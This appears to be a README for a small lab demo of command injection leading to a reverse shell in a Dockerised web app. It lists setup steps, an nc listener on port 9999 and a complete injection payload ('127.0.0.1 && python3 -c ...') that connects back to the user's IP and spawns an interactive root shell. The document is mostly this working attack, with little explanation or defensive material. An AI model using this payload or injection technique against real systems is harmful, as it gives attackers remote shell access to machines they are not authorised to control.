What is this?

A quick demo of a reverse shell.

How do I use it?

**Note: If you don't have Docker installed, you can install it here.

1. Install dependancies: npm i

2. Build the docker image: npm run docker:build

3. Run the docker image: npm run docker:start

4. Go here in your web browser.

5. Listen to port 9999 on your computer: nc -l 9999

6. Put this in the input field on the webpage (change where it says "CHANGE ME" to your computer's IP): 127.0.0.1 && python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("CHANGE ME",9999));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

7. Press submit in the webpage and check your terminal where you entered the command in step 5.

   • You can type whoami to check if it worked. You should see "root"